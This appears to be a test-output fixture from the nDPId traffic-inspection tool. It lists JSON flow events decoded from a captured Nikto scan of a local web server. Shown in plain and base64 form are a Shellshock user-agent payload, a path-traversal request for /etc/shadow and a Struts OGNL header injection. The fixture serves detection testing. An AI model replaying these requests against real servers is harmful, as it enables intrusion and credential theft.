+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":499,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":499,"flow_packet_id":1,"flow_first_seen":1576420277471,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50560,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00713{"flow_id":499,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":471551,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"AAAAAAAAAAAAAAAACABFAAEB0rpAAEAGaTp\/AAABfwAAAcWAH5AE8+pw+\/3ZB4AYAED+9QAAAQEICp1m\/gedZv4HR0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":499,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":499,"flow_packet_id":1,"flow_first_seen":1576420277471,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50560,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":500,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":500,"flow_packet_id":1,"flow_first_seen":1576420277473,"flow_last_seen":0,"flow_tot_l4_data_len":211,"flow_min_l4_data_len":211,"flow_max_l4_data_len":211,"flow_avg_l4_data_len":211,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50562,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":500,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":473478,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"AAAAAAAAAAAAAAAACABFAADnqaNAAEAGkmt\/AAABfwAAAcWCH5DlqJF6VmPeaYAYAED+2wAAAQEICp1m\/gmdZv4JR0VUIC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvc2hhZG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpkaXNod2FzaGVyKQ0KDQo="} +00812{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":500,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":500,"flow_packet_id":1,"flow_first_seen":1576420277473,"flow_last_seen":0,"flow_tot_l4_data_len":211,"flow_min_l4_data_len":211,"flow_max_l4_data_len":211,"flow_avg_l4_data_len":211,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50562,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/shadow","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:dishwasher)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":501,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":501,"flow_packet_id":1,"flow_first_seen":1576420277474,"flow_last_seen":0,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":313,"flow_max_l4_data_len":313,"flow_avg_l4_data_len":313,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50564,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00813{"flow_id":501,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":474795,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"AAAAAAAAAAAAAAAACABFAAFN5cZAAEAGVeJ\/AAABfwAAAcWEH5A2eN0dBhBSM4AYAED\/QQAAAQEICp1m\/gqdZv4KR0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1UeXBlOiAleyNjb250ZXh0Wydjb20ub3BlbnN5bXBob255Lnh3b3JrMi5kaXNwYXRjaGVyLkh0dHBTZXJ2bGV0UmVzcG9uc2UnXS5hZGRIZWFkZXIoJ05pa3RvLUFkZGVkLUNWRS0yMDE3LTU2MzgnLDcqNil9Lm11bHRpcGFydC9mb3JtLWRhdGENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzdHJ1dHNob2NrKQ0KDQo="} +00753{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":501,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":501,"flow_packet_id":1,"flow_first_seen":1576420277474,"flow_last_seen":0,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":313,"flow_max_l4_data_len":313,"flow_avg_l4_data_len":313,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50564,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:strutshock)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":502,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":502,"flow_packet_id":1,"flow_first_seen":1576420277477,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50566,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00829{"flow_id":502,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":477258,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"AAAAAAAAAAAAAAAACABFAAFZtP1AAEAGhp9\/AAABfwAAAcWGH5CUg4wjlAViUYAYAED\/TQAAAQEICp1m\/g2dZv4NR0VUIC9pbmRleC5hY3Rpb24gSFRUUC8xLjENCkNvbnRlbnQtVHlwZTogJXsjY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlJ10uYWRkSGVhZGVyKCdOaWt0by1BZGRlZC1DVkUtMjAxNy01NjM4Jyw3KjYpfS5tdWx0aXBhcnQvZm9ybS1kYXRhDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c3RydXRzaG9jaykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":502,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":502,"flow_packet_id":1,"flow_first_seen":1576420277477,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50566,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.action","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:strutshock)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":503,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":503,"flow_packet_id":1,"flow_first_seen":1576420277478,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50568,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00829{"flow_id":503,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":478863,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"AAAAAAAAAAAAAAAACABFAAFZjkpAAEAGrVJ\/AAABfwAAAcWIH5BLo7aS1iADwIAYAED\/TQAAAQEICp1m\/g6dZv4OR0VUIC9sb2dpbi5hY3Rpb24gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnN0cnV0c2hvY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6ICV7I2NvbnRleHRbJ2NvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXNwb25zZSddLmFkZEhlYWRlcignTmlrdG8tQWRkZWQtQ1ZFLTIwMTctNTYzOCcsNyo2KX0ubXVsdGlwYXJ0L2Zvcm0tZGF0YQ0KDQo="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":503,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":503,"flow_packet_id":1,"flow_first_seen":1576420277478,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50568,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.action","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:strutshock)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":504,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":504,"flow_packet_id":1,"flow_first_seen":1576420277480,"flow_last_seen":0,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":166,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":166,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50570,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00616{"flow_id":504,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":480378,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"AAAAAAAAAAAAAAAACABFAAC6N0ZAAEAGBPZ\/AAABfwAAAcWKH5D5Xg+fNMDiFYAYAED+rgAAAQEICp1m\/hCdZv4QR0VUIC92Mi9fY2F0YWxvZyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":504,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":504,"flow_packet_id":1,"flow_first_seen":1576420277480,"flow_last_seen":0,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":166,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":166,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50570,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/v2\/_catalog","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":505,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":505,"flow_packet_id":1,"flow_first_seen":1576420277488,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50572,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":505,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":488587,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHoFdAAEAGm9d\/AAABfwAAAcWMH5DDZpiKMo58\/IAYAED+uwAAAQEICp1m\/hidZv4YR0VUIC9jZmFwcG1hbi9pbmRleC5jZm0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAxMykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":505,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":505,"flow_packet_id":1,"flow_first_seen":1576420277488,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50572,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cfappman\/index.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000013)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":506,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":506,"flow_packet_id":1,"flow_first_seen":1576420277490,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50574,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":506,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":490454,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAAAAAAAAAAAAACABFAADZlJRAAEAGp4h\/AAABfwAAAcWOH5DTxKxPH2zSx4AYAED+zQAAAQEICp1m\/hqdZv4aR0VUIC9jZmRvY3MvZXhhbXBsZXMvY3ZiZWFucy9iZWFuaW5mby5jZm0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAxNCkNCg0K"} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":506,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":506,"flow_packet_id":1,"flow_first_seen":1576420277490,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50574,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cfdocs\/examples\/cvbeans\/beaninfo.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000014)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":507,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":507,"flow_packet_id":1,"flow_first_seen":1576420277491,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50576,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":507,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":491643,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"AAAAAAAAAAAAAAAACABFAADVNLZAAEAGB2t\/AAABfwAAAcWQH5BQIAxp\/aIKGoAYAED+yQAAAQEICp1m\/hudZv4bR0VUIC9jZmRvY3MvZXhhbXBsZXMvcGFya3MvZGV0YWlsLmNmbSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAxNSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":507,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":507,"flow_packet_id":1,"flow_first_seen":1576420277491,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50576,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cfdocs\/examples\/parks\/detail.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000015)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":508,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":508,"flow_packet_id":1,"flow_first_seen":1576420277492,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50578,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":508,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":492807,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"AAAAAAAAAAAAAAAACABFAAC8BNZAAEAGN2R\/AAABfwAAAcWSH5DUDzwKrTgLpoAYAED+sAAAAQEICp1m\/hydZv4cR0VUIC9rYm9hcmQvIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMDE2KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":508,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":508,"flow_packet_id":1,"flow_first_seen":1576420277492,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50578,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/kboard\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000016)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":509,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":509,"flow_packet_id":1,"flow_first_seen":1576420277495,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50580,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":509,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":495016,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBe7BAAEAGwIR\/AAABfwAAAcWUH5BTWUN0U4buRIAYAED+tQAAAQEICp1m\/h6dZv4eR0VUIC9saXN0cy9hZG1pbi8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAxNykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":509,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":509,"flow_packet_id":1,"flow_first_seen":1576420277495,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50580,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/lists\/admin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000017)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":510,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":510,"flow_packet_id":1,"flow_first_seen":1576420277496,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50582,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":510,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":496203,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEE4xAAEAGKKZ\/AAABfwAAAcWWH5AfSitVmmsDJoAYAED+uAAAAQEICp1m\/iCdZv4gR0VUIC9zcGxhc2hBZG1pbi5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAxOCkNCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":510,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":510,"flow_packet_id":1,"flow_first_seen":1576420277496,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50582,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/splashAdmin.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000018)"}} 